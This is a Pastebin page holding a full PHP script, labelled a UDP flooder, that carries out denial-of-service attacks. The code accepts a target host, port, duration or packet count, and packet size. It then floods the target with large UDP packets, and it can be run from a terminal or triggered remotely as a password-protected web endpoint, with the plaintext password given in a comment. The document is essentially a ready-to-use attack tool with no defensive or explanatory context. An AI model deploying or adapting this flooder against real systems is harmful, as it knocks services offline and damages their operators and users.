Advertisement
Hector_G

UDP Flooder (Console & Web version)

Feb 15th, 2017
215
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 11.08 KB | None | 0 0
  1. <?php
  2. /** Script to perform a DDOS UDP Flood by PHP **/
  3. define('DDOS_VERSION',      '1.0' );
  4. // MD5 Password default is "TheBlaCkCoDeR"
  5. define('DDOS_PASSWORD',             '751bafce6d8420d79f471ce66db1689b' );
  6. define('DDOS_MAX_EXECUTION_TIME',0);
  7. define('DDOS_DEFAULT_PACKET_SIZE',  65000 );
  8. define('DDOS_MAX_PACKET_SIZE',      65000 );
  9. define('DDOS_DEFAULT_BYTE',"\x00");
  10. define('DDOS_LOG_DEBUG',            4 );
  11. define('DDOS_LOG_INFO',             3 );
  12. define('DDOS_LOG_NOTICE',           2 );
  13. define('DDOS_LOG_WARNING',          1 );
  14. define('DDOS_LOG_ERROR',            0 );
  15. define('DDOS_OUTPUT_FORMAT_JSON',   'json' );
  16. define('DDOS_OUTPUT_FORMAT_TEXT',   'text' );
  17. define('DDOS_OUTPUT_FORMAT_XML',    'xml' );
  18. define('DDOS_OUTPUT_STATUS_ERROR',  'error' );
  19. define('DDOS_OUTPUT_STATUS_SUCCESS','success' );
  20.  
  21. class DDoS {
  22.     private $params = array(
  23.             'host' =>   '',
  24.             'port' =>   '',
  25.             'packet' => '',
  26.             'time'  =>  '',
  27.             'pass'  =>  '',
  28.             'bytes' =>  '',
  29.             'verbose'=> DDOS_LOG_INFO,
  30.             'format'=> 'text',
  31.             'output'=> ''
  32.     );
  33.    
  34.     private $log_labels = array(
  35.             DDOS_LOG_DEBUG => 'debug',
  36.             DDOS_LOG_INFO => 'info',
  37.             DDOS_LOG_NOTICE => 'notice',
  38.             DDOS_LOG_WARNING => 'warning',
  39.             DDOS_LOG_ERROR => 'error'
  40.     );
  41.  
  42.     private $content_type = "";
  43.     private $output = array();
  44.  
  45.     public function __construct($params = array()) {
  46.         ob_start();
  47.         ini_set('max_execution_time',DDOS_MAX_EXECUTION_TIME);
  48.         $this->set_params($params);
  49.         $this->set_content_type();
  50.         $this->signature();
  51.         if(isset($this->params['help'])) {
  52.             $this->usage();
  53.             exit;
  54.         }
  55.         $this->validate_params();
  56.         $this->attack();
  57.         $this->print_output();
  58.         ob_end_flush();
  59.     }
  60.    
  61.     public function signature() {
  62.         if(DDOS_OUTPUT_FORMAT_TEXT == $this->get_param('format')) {
  63.             $this->println('UDP Flooder by Hector_G');
  64.             $this->println('version '.DDOS_VERSION);
  65.             $this->println();
  66.         }
  67.     }
  68.  
  69.     public function usage() {
  70.         $this->println("Examples:");
  71.         $this->println("from terminal:  php ./".basename(__FILE__)." host=TARGET port=PORT time=SECONDS packet=NUMBER bytes=NUMBER");
  72.         $this->println("from webserver: http://localhost/flooder.php?pass=PASSWORD&host=TARGET&port=PORT&time=SECONDS&packet=NUMBER&bytes=NUMBER");
  73.         $this->println();
  74.         $this->println("Functions:");
  75.         $this->println("help    Print this help summary page");
  76.         $this->println("host    REQUIRED specify IP or HOSTNAME");
  77.         $this->println("pass    REQUIRED only if used from webserver");
  78.         $this->println("port    OPTIONAL if not specified a random ports will be selected");
  79.         $this->println("time    OPTIONAL seconds to keep the DDoS alive, required if packet is not used");
  80.         $this->println("packet  OPTIONAL number of packets to send to the target, required if time is not used");
  81.         $this->println("bytes   OPTIONAL size of the packet to send, default: ".DDOS_DEFAULT_PACKET_SIZE);
  82.         $this->println("format  OPTIONAL output format, (text,json,xml), default: text");
  83.         $this->println("output  OPTIONAL logfile, save the output to file");
  84.         $this->println("verbose OPTIONAL 0: debug, 1:info, 2:notice, 3:warning, 4:error, default: info");
  85.         $this->println();
  86.         $this->println("Note:   If both time and packet are specified, only time will be used");
  87.         $this->println();
  88.         $this->println("Greetz : Shrewders Team");
  89.         $this->println();
  90.     }
  91.  
  92.     private function attack(){
  93.         $packets = 0;
  94.         $message = str_repeat(DDOS_DEFAULT_BYTE, $this->get_param('bytes'));
  95.         $this->log('UDP flood started');
  96.         if($this->get_param('time')) {
  97.             $exec_time = $this->get_param('time');
  98.             $max_time = time() + $exec_time;
  99.  
  100.             while(time() < $max_time){
  101.                 $packets++;
  102.                 $this->log('Sending packet #'.$packets,DDOS_LOG_DEBUG);
  103.                 $this->udp_connect($this->get_param('host'),$this->get_param('port'),$message);
  104.             }
  105.             $timeStr = $exec_time. ' second';
  106.             if(1 != $exec_time) {
  107.                 $timeStr .= 's';
  108.             }
  109.         }
  110.         else {
  111.             $max_packet = $this->get_param('packet');
  112.             $start_time=time();
  113.        
  114.             while($packets < $max_packet){
  115.                 $packets++;
  116.                 $this->log('Sending packet #'.$packets,DDOS_LOG_DEBUG);
  117.                 $this->udp_connect($this->get_param('host'),$this->get_param('port'),$message);
  118.             }
  119.             $exec_time = time() - $start_time;
  120.        
  121.             if($exec_time <= 1){
  122.                 $exec_time=1;
  123.                 $timeStr = 'about a second';
  124.             }
  125.             else {
  126.                 $timeStr = 'about ' . $exec_time . ' seconds';
  127.             }
  128.         }
  129.    
  130.         $this->log("Flood UDP completed");
  131.        
  132.         $data = $this->params;
  133.         unset($data['pass']);
  134.         unset($data['packet']);
  135.         unset($data['time']);
  136.         $data['port'] = 0 == $data['port'] ? 'Random ports' : $data['port'];
  137.         $data['total_packets'] = $packets;
  138.         $data['total_size'] = $this->format_bytes($packets*$data['bytes']);
  139.         $data['duration'] = $timeStr;
  140.         $data['average'] = round($packets/$exec_time, 2);
  141.         $this->set_output('UDP flood completed', DDOS_OUTPUT_STATUS_SUCCESS,$data);
  142.         $this->print_output();
  143.         exit;
  144.     }
  145.  
  146.     private function udp_connect($h,$p,$out){
  147.        
  148.         if(0 == $p) {
  149.             $p = rand(1,rand(1,65535));
  150.         }
  151.  
  152.         $this->log("Trying to open socket udp://$h:$p",DDOS_LOG_DEBUG);
  153.         $fp = @fsockopen('udp://'.$h, $p, $errno, $errstr, 30);
  154.    
  155.         if(!$fp) {
  156.             $this->log("UDP socket error: $errstr ($errno)",DDOS_LOG_DEBUG);
  157.             $ret = false;
  158.         }
  159.         else {
  160.             $this->log("Socket opened with $h on port $p",DDOS_LOG_DEBUG);
  161.             if(!@fwrite($fp, $out)) {
  162.                 $this->log("Error during sending data",DDOS_LOG_ERROR);
  163.             }
  164.             else {
  165.                 $this->log("Data sent successfully",DDOS_LOG_DEBUG);
  166.             }
  167.             @fclose($fp);
  168.             $ret = true;
  169.             $this->log("Closing socket udp://$h:$p",DDOS_LOG_DEBUG);
  170.         }
  171.    
  172.         return $ret;
  173.     }
  174.  
  175.     private function set_params($params = array()) {
  176.        
  177.         $original_params = array_keys($this->params);
  178.         $original_params[] = 'help';
  179.        
  180.         foreach($params as $key => $value) {
  181.             if(!in_array($key, $original_params)) {
  182.                 $this->set_output("Unknown param $key", DDOS_OUTPUT_STATUS_ERROR);
  183.                 $this->print_output();
  184.                 exit(1);
  185.             }
  186.             $this->set_param($key, $value);
  187.         }
  188.     }
  189.  
  190.     private function validate_params() {
  191.         if(!$this->is_cli() && md5($this->get_param('pass')) !== DDOS_PASSWORD) {
  192.             $this->set_output("Wrong password", DDOS_OUTPUT_STATUS_ERROR);
  193.             $this->print_output();
  194.             exit(1);
  195.         }
  196.         elseif(!$this->is_cli()) {
  197.             $this->log('Password accepted');
  198.         }
  199.        
  200.         if(!$this->is_valid_target($this->get_param('host'))) {
  201.             $this->set_output("Invalid host", DDOS_OUTPUT_STATUS_ERROR);
  202.             $this->print_output();
  203.             exit(1);
  204.         }
  205.         else {
  206.             $this->log("Setting host to " . $this->get_param('host'));
  207.         }
  208.         if("" != $this->get_param('port') && !$this->is_valid_port($this->get_param('port'))) {
  209.             $this->log("Invalid port", DDOS_LOG_WARNING);
  210.             $this->log("Setting port to random",DDOS_LOG_NOTICE);
  211.             $this->set_param('port', 0);
  212.         }
  213.         else {
  214.             $this->log("Setting port to ".$this->get_param('port'));
  215.         }
  216.        
  217.         if(is_numeric($this->get_param('bytes')) && 0 < $this->get_param('bytes')) {
  218.             if(DDOS_MAX_PACKET_SIZE < $this->get_param('bytes')) {
  219.                 $this->log("Packet size exceeds the max size", DDOS_LOG_WARNING);
  220.             }
  221.             $this->set_param('bytes',min($this->get_param('bytes'),DDOS_MAX_PACKET_SIZE));
  222.             $this->log("Setting packet size to ". $this->format_bytes($this->get_param('bytes')));
  223.         }
  224.         else {
  225.             $this->log("Setting packet size to ".$this->format_bytes(DDOS_DEFAULT_PACKET_SIZE),DDOS_LOG_NOTICE);
  226.             $this->set_param('bytes',DDOS_DEFAULT_PACKET_SIZE);
  227.         }
  228.        
  229.         if(!is_numeric($this->get_param('time')) && !is_numeric($this->get_param('packet'))) {
  230.             $this->set_output("Missing parameter time or packet", DDOS_OUTPUT_STATUS_ERROR);
  231.             $this->print_output();
  232.             exit(1);
  233.         }
  234.         else {
  235.             $this->set_param('time', abs(intval($this->get_param('time'))));
  236.             $this->set_param('packet', abs(intval($this->get_param('packet'))));
  237.         }
  238.        
  239.         if('' != $this->get_param('output')) {
  240.             $this->log("Setting log file to " .$this->get_param('output'),DDOS_LOG_INFO);
  241.         }
  242.        
  243.     }
  244.  
  245.     public function get_param($param) {
  246.         return isset($this->params[$param]) ? $this->params[$param] : null;
  247.     }
  248.  
  249.     private function set_param($param,$value) {
  250.        
  251.         $this->params[$param] = $value;
  252.     }
  253.  
  254.     private function set_content_type() {
  255.         if($this->is_cli()) {
  256.             return;
  257.         }
  258.        
  259.         switch($this->get_param('output')) {
  260.             case DDOS_OUTPUT_FORMAT_JSON : {
  261.                 $this->content_type = "application/json; charset=utf-8;";
  262.                 break;
  263.             }
  264.             case DDOS_OUTPUT_FORMAT_XML : {
  265.                 $this->content_type = "application/xml; charset=utf-8;";
  266.                 break;
  267.             }
  268.             default : {
  269.                 $this->content_type = "text/plain; charset=utf-8;";
  270.                 break;
  271.             }
  272.         }
  273.        
  274.         header("Content-Type: ". $this->content_type);
  275.         $this->log('Setting Content-Type header to ' . $this->content_type, DDOS_LOG_DEBUG);
  276.     }
  277.  
  278.     public static function is_cli() {
  279.         return php_sapi_name() == 'cli';
  280.     }
  281.  
  282.     public function get_random_port() {
  283.         return rand(1,65535);
  284.     }
  285.  
  286.     function is_valid_port($port = 0){
  287.         return ($port >= 1 &&  $port <= 65535) ? $port : 0;
  288.     }
  289.    
  290.     function is_valid_target($target) {
  291.         return  (  
  292.                 preg_match("/^([a-z\d](-*[a-z\d])*)(\.([a-z\d](-*[a-z\d])*))*$/i", $target)
  293.                 &&  preg_match("/^.{1,253}$/", $target)
  294.                 &&  preg_match("/^[^\.]{1,63}(\.[^\.]{1,63})*$/", $target)
  295.         )
  296.         ||  filter_var($target, FILTER_VALIDATE_IP);
  297.     }
  298.  
  299.     function format_bytes($bytes, $dec = 2) {
  300.         $size   = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');
  301.         $factor = floor((strlen($bytes) - 1) / 3);
  302.         return sprintf("%.{$dec}f", $bytes / pow(1024, $factor)) . @$size[$factor];
  303.     }
  304.  
  305.     private function set_output($message, $code, $data = null) {
  306.        
  307.         $this->output= array("status" =>$code,"message" => $message);
  308.         if(null != $data) {
  309.             $this->output['data'] = $data;
  310.         }
  311.     }
  312.  
  313.     private function print_output() {
  314.         switch($this->get_param('format')) {
  315.             case DDOS_OUTPUT_FORMAT_JSON: {
  316.                 echo json_encode($this->output);   
  317.                 break;
  318.             }
  319.            
  320.             case DDOS_OUTPUT_FORMAT_XML: {
  321.                 $xml = new SimpleXMLElement('<root/>');
  322.                 array_walk_recursive($this->output, function($value, $key)use($xml){
  323.                     $xml->addChild($key, $value);
  324.                 });
  325.                 print $xml->asXML();
  326.                 break;
  327.             }
  328.            
  329.             default: {
  330.                 $this->println();
  331.                 array_walk_recursive($this->output, function($value, $key) {
  332.                     $this->println($key .': ' . $value);
  333.                 });
  334.             }
  335.         }
  336.     }
  337.  
  338.     private function log($message,$code = DDOS_LOG_INFO) {
  339.         if($code <= $this->get_param('verbose') && $this->get_param('format') == DDOS_OUTPUT_FORMAT_TEXT) {
  340.             $this->println('['.$this->log_labels[$code] . '] ' . $message);
  341.         }
  342.     }
  343.  
  344.     private function log_to_file($message) {
  345.         if('' != $this->get_param('output')) {
  346.             file_put_contents($this->get_param('output'), $message, FILE_APPEND | LOCK_EX);
  347.         }  
  348.     }
  349.  
  350.     private function println($message = '') {
  351.         echo $message . "\n";
  352.         $this->log_to_file($message . "\n");
  353.         ob_flush();
  354.         flush();
  355.     }
  356. }
  357.  
  358. $params = array();
  359. if(DDoS::is_cli()) {
  360.     global $argv;
  361.     parse_str(implode('&', array_slice($argv, 1)), $params);
  362. }
  363. elseif(!empty($_POST)) {
  364.     foreach($_POST as $index => $value) {
  365.         $params[$index] = htmlspecialchars($value, ENT_QUOTES, 'UTF-8');
  366.     }
  367. }
  368. elseif(!empty($_GET['host'])) {
  369.     foreach($_GET as $index => $value) {
  370.         $params[$index] = htmlspecialchars($value, ENT_QUOTES, 'UTF-8');
  371.     }
  372. }
  373.  
  374. $ddos = new DDoS($params);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement